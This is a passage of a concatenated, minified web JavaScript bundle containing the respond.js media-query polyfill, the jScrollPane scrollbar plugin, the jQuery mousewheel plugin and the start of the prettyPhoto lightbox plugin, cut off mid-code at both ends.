RegExp("(^|[^\\n]*?\\s)("+e+")([^\\n]*)({[\\n\\w\\W]*?})","gi"),l=b.createDocumentFragment(),m=b.documentElement,n=m.firstChild,o=b.createElement("body"),p=b.createElement("style"),q=/print|all/,r;d.getCSS=function(a,b){if(a+""===c)return"";var e=-1,f=a.length,g,h=[];while(++e<f){g=a[e];if(g.disabled)continue;b=g.media||b,q.test(b)&&h.push(d.getCSS(g.imports,b),g.cssText),b="all"}return h.join("")},d.parseCSS=function(a){var b=[],c;while((c=k.exec(a))!=null)b.push(((j.exec(c[1])?"\n":c[1])+c[2]+c[3]).replace(h,"$1.iepp_$2")+c[4]);return b.join("\n")},d.writeHTML=function(){var a=-1;r=r||b.body;while(++a<g){var c=b.getElementsByTagName(f[a]),d=c.length,e=-1;while(++e<d)c[e].className.indexOf("iepp_")<0&&(c[e].className+=" iepp_"+f[a])}l.appendChild(r),m.appendChild(o),o.className=r.className,o.id=r.id,o.innerHTML=r.innerHTML.replace(i,"<$1font")},d._beforePrint=function(){p.styleSheet.cssText=d.parseCSS(d.getCSS(b.styleSheets,"all")),d.writeHTML()},d.restoreHTML=function(){o.innerHTML="",m.removeChild(o),m.appendChild(r)},d._afterPrint=function(){d.restoreHTML(),p.styleSheet.cssText=""},s(b),s(l);d.disablePP||(n.insertBefore(p,n.firstChild),p.media="print",p.className="iepp-printshim",a.attachEvent("onbeforeprint",d._beforePrint),a.attachEvent("onafterprint",d._afterPrint))}(a,b),e._version=d,e._prefixes=n,e._domPrefixes=o,e.mq=u,e.testProp=function(a){return C([a])},e.testAllProps=D,e.testStyles=t,g.className=g.className.replace(/\bno-js\b/,"")+(f?" js "+s.join(" "):"");return e}(this,this.document),function(a,b){function u(){r(!0)}a.respond={},respond.update=function(){},respond.mediaQueriesSupported=b;if(!b){var c=a.document,d=c.documentElement,e=[],f=[],g=[],h={},i=30,j=c.getElementsByTagName("head")[0]||d,k=j.getElementsByTagName("link"),l=[],m=function(){var b=k,c=b.length,d=0,e,f,g,i;for(;d<c;d++)e=b[d],f=e.href,g=e.media,i=e.rel&&e.rel.toLowerCase()==="stylesheet",!!f&&i&&!h[f]&&(!/^([a-zA-Z]+?:(\/\/)?(www\.)?)/.test(f)||f.replace(RegExp.$1,"").split("/")[0]===a.location.host?l.push({href:f,media:g}):h[f]=!0);n()},n=function(){if(l.length){var a=l.shift();s(a.href,function(b){o(b,a.href,a.media),h[a.href]=!0,n()})}},o=function(a,b,c){var d=a.match(/@media[^\{]+\{([^\{\}]+\{[^\}\{]+\})+/gi),g=d&&d.length||0,b=b.substring(0,b.lastIndexOf("/")),h=function(a){return a.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,"$1"+b+"$2$3")},i=!g&&c,j=0,k,l,m,n,o;b.length&&(b+="/"),i&&(g=1);for(;j<g;j++){k=0,i?(l=c,f.push(h(a))):(l=d[j].match(/@media ([^\{]+)\{([\S\s]+?)$/)&&RegExp.$1,f.push(RegExp.$2&&h(RegExp.$2))),n=l.split(","),o=n.length;for(;k<o;k++)m=n[k],e.push({media:m.match(/(only\s+)?([a-zA-Z]+)(\sand)?/)&&RegExp.$2,rules:f.length-1,minw:m.match(/\(min\-width:[\s]*([\s]*[0-9]+)px[\s]*\)/)&&parseFloat(RegExp.$1),maxw:m.match(/\(max\-width:[\s]*([\s]*[0-9]+)px[\s]*\)/)&&parseFloat(RegExp.$1)})}r()},p,q,r=function(a){var b="clientWidth",h=d[b],l=c.compatMode==="CSS1Compat"&&h||c.body[b]||h,m={},n=c.createDocumentFragment(),o=k[k.length-1],s=(new Date).getTime();if(a&&p&&s-p<i)clearTimeout(q),q=setTimeout(r,i);else{p=s;for(var t in e){var u=e[t];if(!u.minw&&!u.maxw||(!u.minw||u.minw&&l>=u.minw)&&(!u.maxw||u.maxw&&l<=u.maxw))m[u.media]||(m[u.media]=[]),m[u.media].push(f[u.rules])}for(var t in g)g[t]&&g[t].parentNode===j&&j.removeChild(g[t]);for(var t in m){var v=c.createElement("style"),w=m[t].join("\n");v.type="text/css",v.media=t,v.styleSheet?v.styleSheet.cssText=w:v.appendChild(c.createTextNode(w)),n.appendChild(v),g.push(v)}j.insertBefore(n,o.nextSibling)}},s=function(a,b){var c=t();if(!!c){c.open("GET",a,!0),c.onreadystatechange=function(){c.readyState==4&&(c.status==200||c.status==304)&&b(c.responseText)};if(c.readyState==4)return;c.send()}},t=function(){var a=!1,b=[function(){return new ActiveXObject("Microsoft.XMLHTTP")},function(){return new XMLHttpRequest}],c=b.length;while(c--){try{a=b[c]()}catch(d){continue}break}return function(){return a}}();m(),respond.update=m,a.addEventListener?a.addEventListener("resize",u,!1):a.attachEvent&&a.attachEvent("onresize",u)}}(this,Modernizr.mq("only all")); /* * jScrollPane - v2.0.0beta11 - 2011-07-04 * http://jscrollpane.kelvinluck.com/ * * Copyright (c) 2010 Kelvin Luck * Dual licensed under the MIT and GPL licenses. */ (function(b,a,c){b.fn.jScrollPane=function(e){function d(D,O){var az,Q=this,Y,ak,v,am,T,Z,y,q,aA,aF,av,i,I,h,j,aa,U,aq,X,t,A,ar,af,an,G,l,au,ay,x,aw,aI,f,L,aj=true,P=true,aH=false,k=false,ap=D.clone(false,false).empty(),ac=b.fn.mwheelIntent?"mwheelIntent.jsp":"mousewheel.jsp";aI=D.css("paddingTop")+" "+D.css("paddingRight")+" "+D.css("paddingBottom")+" "+D.css("paddingLeft");f=(parseInt(D.css("paddingLeft"),10)||0)+(parseInt(D.css("paddingRight"),10)||0);function at(aR){var aM,aO,aN,aK,aJ,aQ,aP=false,aL=false;az=aR;if(Y===c){aJ=D.scrollTop();aQ=D.scrollLeft();D.css({overflow:"hidden",padding:0});ak=D.innerWidth()+f;v=D.innerHeight();D.width(ak);Y=b('<div class="jspPane" />').css("padding",aI).append(D.children());am=b('<div class="jspContainer" />').css({width:ak+"px",height:v+"px"}).append(Y).appendTo(D)}else{D.css("width","");aP=az.stickToBottom&&K();aL=az.stickToRight&&B();aK=D.innerWidth()+f!=ak||D.outerHeight()!=v;if(aK){ak=D.innerWidth()+f;v=D.innerHeight();am.css({width:ak+"px",height:v+"px"})}if(!aK&&L==T&&Y.outerHeight()==Z){D.width(ak);return}L=T;Y.css("width","");D.width(ak);am.find(">.jspVerticalBar,>.jspHorizontalBar").remove().end()}Y.css("overflow","auto");if(aR.contentWidth){T=aR.contentWidth}else{T=Y[0].scrollWidth}Z=Y[0].scrollHeight;Y.css("overflow","");y=T/ak;q=Z/v;aA=q>1;aF=y>1;if(!(aF||aA)){D.removeClass("jspScrollable");Y.css({top:0,width:am.width()-f});n();E();R();w();ai()}else{D.addClass("jspScrollable");aM=az.maintainPosition&&(I||aa);if(aM){aO=aD();aN=aB()}aG();z();F();if(aM){N(aL?(T-ak):aO,false);M(aP?(Z-v):aN,false)}J();ag();ao();if(az.enableKeyboardNavigation){S()}if(az.clickOnTrack){p()}C();if(az.hijackInternalLinks){m()}}if(az.autoReinitialise&&!aw){aw=setInterval(function(){at(az)},az.autoReinitialiseDelay)}else{if(!az.autoReinitialise&&aw){clearInterval(aw)}}aJ&&D.scrollTop(0)&&M(aJ,false);aQ&&D.scrollLeft(0)&&N(aQ,false);D.trigger("jsp-initialised",[aF||aA])}function aG(){if(aA){am.append(b('<div class="jspVerticalBar" />').append(b('<div class="jspCap jspCapTop" />'),b('<div class="jspTrack" />').append(b('<div class="jspDrag" />').append(b('<div class="jspDragTop" />'),b('<div class="jspDragBottom" />'))),b('<div class="jspCap jspCapBottom" />')));U=am.find(">.jspVerticalBar");aq=U.find(">.jspTrack");av=aq.find(">.jspDrag");if(az.showArrows){ar=b('<a class="jspArrow jspArrowUp" />').bind("mousedown.jsp",aE(0,-1)).bind("click.jsp",aC);af=b('<a class="jspArrow jspArrowDown" />').bind("mousedown.jsp",aE(0,1)).bind("click.jsp",aC);if(az.arrowScrollOnHover){ar.bind("mouseover.jsp",aE(0,-1,ar));af.bind("mouseover.jsp",aE(0,1,af))}al(aq,az.verticalArrowPositions,ar,af)}t=v;am.find(">.jspVerticalBar>.jspCap:visible,>.jspVerticalBar>.jspArrow").each(function(){t-=b(this).outerHeight()});av.hover(function(){av.addClass("jspHover")},function(){av.removeClass("jspHover")}).bind("mousedown.jsp",function(aJ){b("html").bind("dragstart.jsp selectstart.jsp",aC);av.addClass("jspActive");var s=aJ.pageY-av.position().top;b("html").bind("mousemove.jsp",function(aK){V(aK.pageY-s,false)}).bind("mouseup.jsp mouseleave.jsp",ax);return false});o()}}function o(){aq.height(t+"px");I=0;X=az.verticalGutter+aq.outerWidth();Y.width(ak-X-f);try{if(U.position().left===0){Y.css("margin-left",X+"px")}}catch(s){}}function z(){if(aF){am.append(b('<div class="jspHorizontalBar" />').append(b('<div class="jspCap jspCapLeft" />'),b('<div class="jspTrack" />').append(b('<div class="jspDrag" />').append(b('<div class="jspDragLeft" />'),b('<div class="jspDragRight" />'))),b('<div class="jspCap jspCapRight" />')));an=am.find(">.jspHorizontalBar");G=an.find(">.jspTrack");h=G.find(">.jspDrag");if(az.showArrows){ay=b('<a class="jspArrow jspArrowLeft" />').bind("mousedown.jsp",aE(-1,0)).bind("click.jsp",aC);x=b('<a class="jspArrow jspArrowRight" />').bind("mousedown.jsp",aE(1,0)).bind("click.jsp",aC); if(az.arrowScrollOnHover){ay.bind("mouseover.jsp",aE(-1,0,ay));x.bind("mouseover.jsp",aE(1,0,x))}al(G,az.horizontalArrowPositions,ay,x)}h.hover(function(){h.addClass("jspHover")},function(){h.removeClass("jspHover")}).bind("mousedown.jsp",function(aJ){b("html").bind("dragstart.jsp selectstart.jsp",aC);h.addClass("jspActive");var s=aJ.pageX-h.position().left;b("html").bind("mousemove.jsp",function(aK){W(aK.pageX-s,false)}).bind("mouseup.jsp mouseleave.jsp",ax);return false});l=am.innerWidth();ah()}}function ah(){am.find(">.jspHorizontalBar>.jspCap:visible,>.jspHorizontalBar>.jspArrow").each(function(){l-=b(this).outerWidth()});G.width(l+"px");aa=0}function F(){if(aF&&aA){var aJ=G.outerHeight(),s=aq.outerWidth();t-=aJ;b(an).find(">.jspCap:visible,>.jspArrow").each(function(){l+=b(this).outerWidth()});l-=s;v-=s;ak-=aJ;G.parent().append(b('<div class="jspCorner" />').css("width",aJ+"px"));o();ah()}if(aF){Y.width((am.outerWidth()-f)+"px")}Z=Y.outerHeight();q=Z/v;if(aF){au=Math.ceil(1/y*l);if(au>az.horizontalDragMaxWidth){au=az.horizontalDragMaxWidth}else{if(au<az.horizontalDragMinWidth){au=az.horizontalDragMinWidth}}h.width(au+"px");j=l-au;ae(aa)}if(aA){A=Math.ceil(1/q*t);if(A>az.verticalDragMaxHeight){A=az.verticalDragMaxHeight}else{if(A<az.verticalDragMinHeight){A=az.verticalDragMinHeight}}av.height(A+"px");i=t-A;ad(I)}}function al(aK,aM,aJ,s){var aO="before",aL="after",aN;if(aM=="os"){aM=/Mac/.test(navigator.platform)?"after":"split"}if(aM==aO){aL=aM}else{if(aM==aL){aO=aM;aN=aJ;aJ=s;s=aN}}aK[aO](aJ)[aL](s)}function aE(aJ,s,aK){return function(){H(aJ,s,this,aK);this.blur();return false}}function H(aM,aL,aP,aO){aP=b(aP).addClass("jspActive");var aN,aK,aJ=true,s=function(){if(aM!==0){Q.scrollByX(aM*az.arrowButtonSpeed)}if(aL!==0){Q.scrollByY(aL*az.arrowButtonSpeed)}aK=setTimeout(s,aJ?az.initialDelay:az.arrowRepeatFreq);aJ=false};s();aN=aO?"mouseout.jsp":"mouseup.jsp";aO=aO||b("html");aO.bind(aN,function(){aP.removeClass("jspActive");aK&&clearTimeout(aK);aK=null;aO.unbind(aN)})}function p(){w();if(aA){aq.bind("mousedown.jsp",function(aO){if(aO.originalTarget===c||aO.originalTarget==aO.currentTarget){var aM=b(this),aP=aM.offset(),aN=aO.pageY-aP.top-I,aK,aJ=true,s=function(){var aS=aM.offset(),aT=aO.pageY-aS.top-A/2,aQ=v*az.scrollPagePercent,aR=i*aQ/(Z-v);if(aN<0){if(I-aR>aT){Q.scrollByY(-aQ)}else{V(aT)}}else{if(aN>0){if(I+aR<aT){Q.scrollByY(aQ)}else{V(aT)}}else{aL();return}}aK=setTimeout(s,aJ?az.initialDelay:az.trackClickRepeatFreq);aJ=false},aL=function(){aK&&clearTimeout(aK);aK=null;b(document).unbind("mouseup.jsp",aL)};s();b(document).bind("mouseup.jsp",aL);return false}})}if(aF){G.bind("mousedown.jsp",function(aO){if(aO.originalTarget===c||aO.originalTarget==aO.currentTarget){var aM=b(this),aP=aM.offset(),aN=aO.pageX-aP.left-aa,aK,aJ=true,s=function(){var aS=aM.offset(),aT=aO.pageX-aS.left-au/2,aQ=ak*az.scrollPagePercent,aR=j*aQ/(T-ak);if(aN<0){if(aa-aR>aT){Q.scrollByX(-aQ)}else{W(aT)}}else{if(aN>0){if(aa+aR<aT){Q.scrollByX(aQ)}else{W(aT)}}else{aL();return}}aK=setTimeout(s,aJ?az.initialDelay:az.trackClickRepeatFreq);aJ=false},aL=function(){aK&&clearTimeout(aK);aK=null;b(document).unbind("mouseup.jsp",aL)};s();b(document).bind("mouseup.jsp",aL);return false}})}}function w(){if(G){G.unbind("mousedown.jsp")}if(aq){aq.unbind("mousedown.jsp")}}function ax(){b("html").unbind("dragstart.jsp selectstart.jsp mousemove.jsp mouseup.jsp mouseleave.jsp");if(av){av.removeClass("jspActive")}if(h){h.removeClass("jspActive")}}function V(s,aJ){if(!aA){return}if(s<0){s=0}else{if(s>i){s=i}}if(aJ===c){aJ=az.animateScroll}if(aJ){Q.animate(av,"top",s,ad)}else{av.css("top",s);ad(s)}}function ad(aJ){if(aJ===c){aJ=av.position().top}am.scrollTop(0);I=aJ;var aM=I===0,aK=I==i,aL=aJ/i,s=-aL*(Z-v);if(aj!=aM||aH!=aK){aj=aM;aH=aK;D.trigger("jsp-arrow-change",[aj,aH,P,k])}u(aM,aK);Y.css("top",s);D.trigger("jsp-scroll-y",[-s,aM,aK]).trigger("scroll")}function W(aJ,s){if(!aF){return}if(aJ<0){aJ=0}else{if(aJ>j){aJ=j}}if(s===c){s=az.animateScroll}if(s){Q.animate(h,"left",aJ,ae) }else{h.css("left",aJ);ae(aJ)}}function ae(aJ){if(aJ===c){aJ=h.position().left}am.scrollTop(0);aa=aJ;var aM=aa===0,aL=aa==j,aK=aJ/j,s=-aK*(T-ak);if(P!=aM||k!=aL){P=aM;k=aL;D.trigger("jsp-arrow-change",[aj,aH,P,k])}r(aM,aL);Y.css("left",s);D.trigger("jsp-scroll-x",[-s,aM,aL]).trigger("scroll")}function u(aJ,s){if(az.showArrows){ar[aJ?"addClass":"removeClass"]("jspDisabled");af[s?"addClass":"removeClass"]("jspDisabled")}}function r(aJ,s){if(az.showArrows){ay[aJ?"addClass":"removeClass"]("jspDisabled");x[s?"addClass":"removeClass"]("jspDisabled")}}function M(s,aJ){var aK=s/(Z-v);V(aK*i,aJ)}function N(aJ,s){var aK=aJ/(T-ak);W(aK*j,s)}function ab(aW,aR,aK){var aO,aL,aM,s=0,aV=0,aJ,aQ,aP,aT,aS,aU;try{aO=b(aW)}catch(aN){return}aL=aO.outerHeight();aM=aO.outerWidth();am.scrollTop(0);am.scrollLeft(0);while(!aO.is(".jspPane")){s+=aO.position().top;aV+=aO.position().left;aO=aO.offsetParent();if(/^body|html$/i.test(aO[0].nodeName)){return}}aJ=aB();aP=aJ+v;if(s<aJ||aR){aS=s-az.verticalGutter}else{if(s+aL>aP){aS=s-v+aL+az.verticalGutter}}if(aS){M(aS,aK)}aQ=aD();aT=aQ+ak;if(aV<aQ||aR){aU=aV-az.horizontalGutter}else{if(aV+aM>aT){aU=aV-ak+aM+az.horizontalGutter}}if(aU){N(aU,aK)}}function aD(){return -Y.position().left}function aB(){return -Y.position().top}function K(){var s=Z-v;return(s>20)&&(s-aB()<10)}function B(){var s=T-ak;return(s>20)&&(s-aD()<10)}function ag(){am.unbind(ac).bind(ac,function(aM,aN,aL,aJ){var aK=aa,s=I;Q.scrollBy(aL*az.mouseWheelSpeed,-aJ*az.mouseWheelSpeed,false);return aK==aa&&s==I})}function n(){am.unbind(ac)}function aC(){return false}function J(){Y.find(":input,a").unbind("focus.jsp").bind("focus.jsp",function(s){ab(s.target,false)})}function E(){Y.find(":input,a").unbind("focus.jsp")}function S(){var s,aJ,aL=[];aF&&aL.push(an[0]);aA&&aL.push(U[0]);Y.focus(function(){D.focus()});D.attr("tabindex",0).unbind("keydown.jsp keypress.jsp").bind("keydown.jsp",function(aO){if(aO.target!==this&&!(aL.length&&b(aO.target).closest(aL).length)){return}var aN=aa,aM=I;switch(aO.keyCode){case 40:case 38:case 34:case 32:case 33:case 39:case 37:s=aO.keyCode;aK();break;case 35:M(Z-v);s=null;break;case 36:M(0);s=null;break}aJ=aO.keyCode==s&&aN!=aa||aM!=I;return !aJ}).bind("keypress.jsp",function(aM){if(aM.keyCode==s){aK()}return !aJ});if(az.hideFocus){D.css("outline","none");if("hideFocus" in am[0]){D.attr("hideFocus",true)}}else{D.css("outline","");if("hideFocus" in am[0]){D.attr("hideFocus",false)}}function aK(){var aN=aa,aM=I;switch(s){case 40:Q.scrollByY(az.keyboardSpeed,false);break;case 38:Q.scrollByY(-az.keyboardSpeed,false);break;case 34:case 32:Q.scrollByY(v*az.scrollPagePercent,false);break;case 33:Q.scrollByY(-v*az.scrollPagePercent,false);break;case 39:Q.scrollByX(az.keyboardSpeed,false);break;case 37:Q.scrollByX(-az.keyboardSpeed,false);break}aJ=aN!=aa||aM!=I;return aJ}}function R(){D.attr("tabindex","-1").removeAttr("tabindex").unbind("keydown.jsp keypress.jsp")}function C(){if(location.hash&&location.hash.length>1){var aL,aJ,aK=escape(location.hash);try{aL=b(aK)}catch(s){return}if(aL.length&&Y.find(aK)){if(am.scrollTop()===0){aJ=setInterval(function(){if(am.scrollTop()>0){ab(aK,true);b(document).scrollTop(am.position().top);clearInterval(aJ)}},50)}else{ab(aK,true);b(document).scrollTop(am.position().top)}}}}function ai(){b("a.jspHijack").unbind("click.jsp-hijack").removeClass("jspHijack")}function m(){ai();b("a[href^=#]").addClass("jspHijack").bind("click.jsp-hijack",function(){var s=this.href.split("#"),aJ;if(s.length>1){aJ=s[1];if(aJ.length>0&&Y.find("#"+aJ).length>0){ab("#"+aJ,true);return false}}})}function ao(){var aK,aJ,aM,aL,aN,s=false;am.unbind("touchstart.jsp touchmove.jsp touchend.jsp click.jsp-touchclick").bind("touchstart.jsp",function(aO){var aP=aO.originalEvent.touches[0];aK=aD();aJ=aB();aM=aP.pageX;aL=aP.pageY;aN=false;s=true}).bind("touchmove.jsp",function(aR){if(!s){return}var aQ=aR.originalEvent.touches[0],aP=aa,aO=I;Q.scrollTo(aK+aM-aQ.pageX,aJ+aL-aQ.pageY);aN=aN||Math.abs(aM-aQ.pageX)>5||Math.abs(aL-aQ.pageY)>5; return aP==aa&&aO==I}).bind("touchend.jsp",function(aO){s=false}).bind("click.jsp-touchclick",function(aO){if(aN){aN=false;return false}})}function g(){var s=aB(),aJ=aD();D.removeClass("jspScrollable").unbind(".jsp");D.replaceWith(ap.append(Y.children()));ap.scrollTop(s);ap.scrollLeft(aJ)}b.extend(Q,{reinitialise:function(aJ){aJ=b.extend({},az,aJ);at(aJ)},scrollToElement:function(aK,aJ,s){ab(aK,aJ,s)},scrollTo:function(aK,s,aJ){N(aK,aJ);M(s,aJ)},scrollToX:function(aJ,s){N(aJ,s)},scrollToY:function(s,aJ){M(s,aJ)},scrollToPercentX:function(aJ,s){N(aJ*(T-ak),s)},scrollToPercentY:function(aJ,s){M(aJ*(Z-v),s)},scrollBy:function(aJ,s,aK){Q.scrollByX(aJ,aK);Q.scrollByY(s,aK)},scrollByX:function(s,aK){var aJ=aD()+Math[s<0?"floor":"ceil"](s),aL=aJ/(T-ak);W(aL*j,aK)},scrollByY:function(s,aK){var aJ=aB()+Math[s<0?"floor":"ceil"](s),aL=aJ/(Z-v);V(aL*i,aK)},positionDragX:function(s,aJ){W(s,aJ)},positionDragY:function(aJ,s){V(aJ,s)},animate:function(aJ,aM,s,aL){var aK={};aK[aM]=s;aJ.animate(aK,{duration:az.animateDuration,easing:az.animateEase,queue:false,step:aL})},getContentPositionX:function(){return aD()},getContentPositionY:function(){return aB()},getContentWidth:function(){return T},getContentHeight:function(){return Z},getPercentScrolledX:function(){return aD()/(T-ak)},getPercentScrolledY:function(){return aB()/(Z-v)},getIsScrollableH:function(){return aF},getIsScrollableV:function(){return aA},getContentPane:function(){return Y},scrollToBottom:function(s){V(i,s)},hijackInternalLinks:function(){m()},destroy:function(){g()}});at(O)}e=b.extend({},b.fn.jScrollPane.defaults,e);b.each(["mouseWheelSpeed","arrowButtonSpeed","trackClickSpeed","keyboardSpeed"],function(){e[this]=e[this]||e.speed});return this.each(function(){var f=b(this),g=f.data("jsp");if(g){g.reinitialise(e)}else{g=new d(f,e);f.data("jsp",g)}})};b.fn.jScrollPane.defaults={showArrows:false,maintainPosition:true,stickToBottom:false,stickToRight:false,clickOnTrack:true,autoReinitialise:false,autoReinitialiseDelay:500,verticalDragMinHeight:0,verticalDragMaxHeight:99999,horizontalDragMinWidth:0,horizontalDragMaxWidth:99999,contentWidth:c,animateScroll:false,animateDuration:300,animateEase:"linear",hijackInternalLinks:false,verticalGutter:4,horizontalGutter:4,mouseWheelSpeed:0,arrowButtonSpeed:0,arrowRepeatFreq:50,arrowScrollOnHover:false,trackClickSpeed:0,trackClickRepeatFreq:70,verticalArrowPositions:"split",horizontalArrowPositions:"split",enableKeyboardNavigation:true,hideFocus:false,keyboardSpeed:0,initialDelay:300,speed:30,scrollPagePercent:0.8}})(jQuery,this); /*! Copyright (c) 2010 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.4 * * Requires: 1.2.2+ */ (function($) { var types = ['DOMMouseScroll', 'mousewheel']; $.event.special.mousewheel = { setup: function() { if ( this.addEventListener ) { for ( var i=types.length; i; ) { this.addEventListener( types[--i], handler, false ); } } else { this.onmousewheel = handler; } }, teardown: function() { if ( this.removeEventListener ) { for ( var i=types.length; i; ) { this.removeEventListener( types[--i], handler, false ); } } else { this.onmousewheel = null; } } }; $.fn.extend({ mousewheel: function(fn) { return fn ? this.bind("mousewheel", fn) : this.trigger("mousewheel"); }, unmousewheel: function(fn) { return this.unbind("mousewheel", fn); } }); function handler(event) { var orgEvent = event || window.event, args = [].slice.call( arguments, 1 ), delta = 0, returnValue = true, deltaX = 0, deltaY = 0; event = $.event.fix(orgEvent); event.type = "mousewheel"; // Old school scrollwheel delta if ( event.wheelDelta ) { delta = event.wheelDelta/120; } if ( event.detail ) { delta = -event.detail/3; } // New school multidimensional scroll (touchpads) deltas deltaY = delta; // Gecko if ( orgEvent.axis !== undefined && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) { deltaY = 0; deltaX = -1*delta; } // Webkit if ( orgEvent.wheelDeltaY !== undefined ) { deltaY = orgEvent.wheelDeltaY/120; } if ( orgEvent.wheelDeltaX !== undefined ) { deltaX = -1*orgEvent.wheelDeltaX/120; } // Add event and delta to the front of the arguments args.unshift(event, delta, deltaX, deltaY); return $.event.handle.apply(this, args); } })(jQuery); /* ------------------------------------------------------------------------ Class: prettyPhoto Use: Lightbox clone for jQuery Author: Stephane Caron (http://www.no-margin-for-errors.com) Version: 3.1.3 ------------------------------------------------------------------------- */ (function($) { $.prettyPhoto = {version: '3.1.3'}; $.fn.prettyPhoto = function(pp_settings) { pp_settings = jQuery.extend({ animation_speed: 'fast', /* fast/slow/normal */ slideshow: 5000, /* false OR interval time in ms */ autoplay_slideshow: false, /* true/false */ opacity: 0.80, /* Value between 0 and 1 */ show_title: true, /* true/false */ allow_resize: true, /* Resize the photos bigger than viewport. true/false */ default_width: 500, default_height: 344, counter_separator_label: '/', /* The separator for the gallery counter 1 "of" 2 */ theme: 'facebook', /* light_rounded / dark_rounded / light_square / dark_square / facebook */ horizontal_padding: 20, /* The padding on each side of the picture */ hideflash: false, /* Hides all the flash object on a page, set to TRUE if flash appears over prettyPhoto */ wmode: 'opaque', /* Set the flash wmode attribute */ autoplay: true, /* Automatically start videos: True/False */ modal: false, /* If set to true, only the close button will close the window */ deeplinking: true, /* Allow prettyPhoto to update the url to enable deeplinking. */ overlay_gallery: true, /* If set to true, a gallery will overlay the fullscreen image on mouse over */ keyboard_shortcuts: true, /* Set to false if you open forms inside prettyPhoto */ changepicturecallback: function(){}, /* Called everytime an item is shown/changed */ callback: function(){}, /* Called when prettyPhoto is closed */ ie6_fallback: true, markup: '<div class="pp_pic_holder"> \ <div class="ppt">&nbsp;</div> \ <div class="pp_top"> \ <div class="pp_left"></div> \ <div class="pp_middle"></div> \ <div class="pp_right"></div> \ </div> \ <div class="pp_content_container"> \ <div class="pp_left"> \ <div class="pp_right"> \ <div class="pp_content"> \ <div class="pp_loaderIcon"></div> \ <div class="pp_fade"> \ <a href="#" class="pp_expand" title="Expand the image">Expand</a> \ <div class="pp_hoverContainer"> \ <a class="pp_next" href="#">next</a> \ <a class="pp_previous" href="#">previous</a> \ </div> \ <div id="pp_full_res"></div> \ <div class="pp_details"> \ <div class="pp_nav"> \ <a href="#" class="pp_arrow_previous">Previous</a> \ <p class="currentTextHolder">0/0</p> \ <a href="#" class="pp_arrow_next">Next</a> \ </div> \ <p class="pp_description"></p> \ <div class="pp_social">{pp_social}</div> \ <a class="pp_close" href="#">Close</a> \ </div> \ </div> \ </div> \ </div> \ </div> \ </div> \ <div class="pp_bottom"> \ <div class="pp_left"></div> \ <div class="pp_middle"></div> \ <div class="pp_right"></div> \ </div> \ </div> \ <div class="pp_overlay"></div>', gallery_markup: '<div class="pp_gallery"> \ <a href="#" class="pp_arrow_previous">Previous</a> \ <div> \ <ul> \ {gallery} \ </ul> \ </div> \ <a href="#" class="pp_arrow_next">Next</a> \ </div>', image_markup: '<img id="fullResImage" src="{path}" />', flash_markup: '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="{width}" height="{height}"><param name="wmode" value="{wmode}" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="{path}" /><embed src="{path}" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="{width}" height="{height}" wmode="{wmode}"></embed></object>', quicktime_markup: '<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" codebase="http://www.apple.com/qtactivex/qtplugin.cab" height="{height}" width="{width}"><param name="src" value="{path}"><param name="autoplay" value="{autoplay}"><param name="type" value="video/quicktime"><embed src="{path}" height="{height}" width="{width}" autoplay="{autoplay}" type="video/quicktime" pluginspage="http://www.apple.com/quicktime/download/"></embed></object>', iframe_markup: '<iframe src ="{path}" width="{width}" height="{height}" frameborder="no"></iframe>', inline_markup: '<div class="pp_inline">{content}</div>', custom_markup: '', social_tools: '<div class="twitter"><a href="http://twitter.com/share" class="twitter-share-button" data-count="none">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="facebook"><iframe src="http://www.facebook.com/plugins/like.php?locale=en_US&href={location_href}&amp;layout=button_count&amp;show_faces=true&amp;width=500&amp;action=like&amp;font&amp;colorscheme=light&amp;height=23" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:23px;" allowTransparency="true"></iframe></div>' /* html or false to disable */ }, pp_settings); // Global variables accessible only by prettyPhoto var matchedObjects = this, percentBased = false, pp_dimensions, pp_open, // prettyPhoto container specific pp_contentHeight, pp_contentWidth, pp_containerHeight, pp_containerWidth, // Window size windowHeight = $(window).height(), windowWidth = $(window).width(), // Global elements pp_slideshow; doresize = true, scroll_pos = _get_scroll(); // Window/Keyboard events $(window).unbind('resize.prettyphoto').bind('resize.prettyphoto',function(){ _center_overlay(); _resize_overlay(); }); if(pp_settings.keyboard_shortcuts) { $(document).unbind('keydown.prettyphoto').bind('keydown.prettyphoto',function(e){ if(typeof $pp_pic_holder != 'undefined'){ if($pp_pic_holder.is(':visible')){ switch(e.keyCode){ case 37: $.prettyPhoto.changePage('previous'); e.preventDefault(); break; case 39: $.prettyPhoto.changePage('next'); e.preventDefault(); break; case 27: if(!settings.modal) $.prettyPhoto.close(); e.preventDefault(); break; }; // return false; }; }; }); }; /** * Initialize prettyPhoto. */ $.prettyPhoto.initialize = function() { settings = pp_settings; if(settings.theme == 'pp_default') settings.horizontal_padding = 16; if(settings.ie6_fallback && $.browser.msie && parseInt($.browser.version) == 6) settings.theme = "light_square"; // Fallback to a supported theme for IE6 // Find out if the picture is part of a set theRel = $(this).attr('rel'); galleryRegExp = /\[(?:.*)\]/; isSet = (galleryRegExp.exec(theRel)) ? true : false; // Put the SRCs, TITLEs, ALTs into an array. pp_images = (isSet) ? jQuery.map(matchedObjects, function(n, i){ if($(n).attr('rel').indexOf(theRel) != -1) return $(n).attr('href'); }) : $.makeArray($(this).attr('href')); pp_titles = (isSet) ? jQuery.map(matchedObjects, function(n, i){ if($(n).attr('rel').indexOf(theRel) != -1) return ($(n).find('img').attr('alt')) ? $(n).find('img').attr('alt') : ""; }) : $.makeArray($(this).find('img').attr('alt')); pp_descriptions = (isSet) ? jQuery.map(matchedObjects, function(n, i){ if($(n).attr('rel').indexOf(theRel) != -1) return ($(n).attr('title')) ? $(n).attr('title') : ""; }) : $.makeArray($(this).attr('title')); if(pp_images.length > 30) settings.overlay_gallery = false; set_position = jQuery.inArray($(this).attr('href'), pp_images); // Define where in the array the clicked item is positionned rel_index = (isSet) 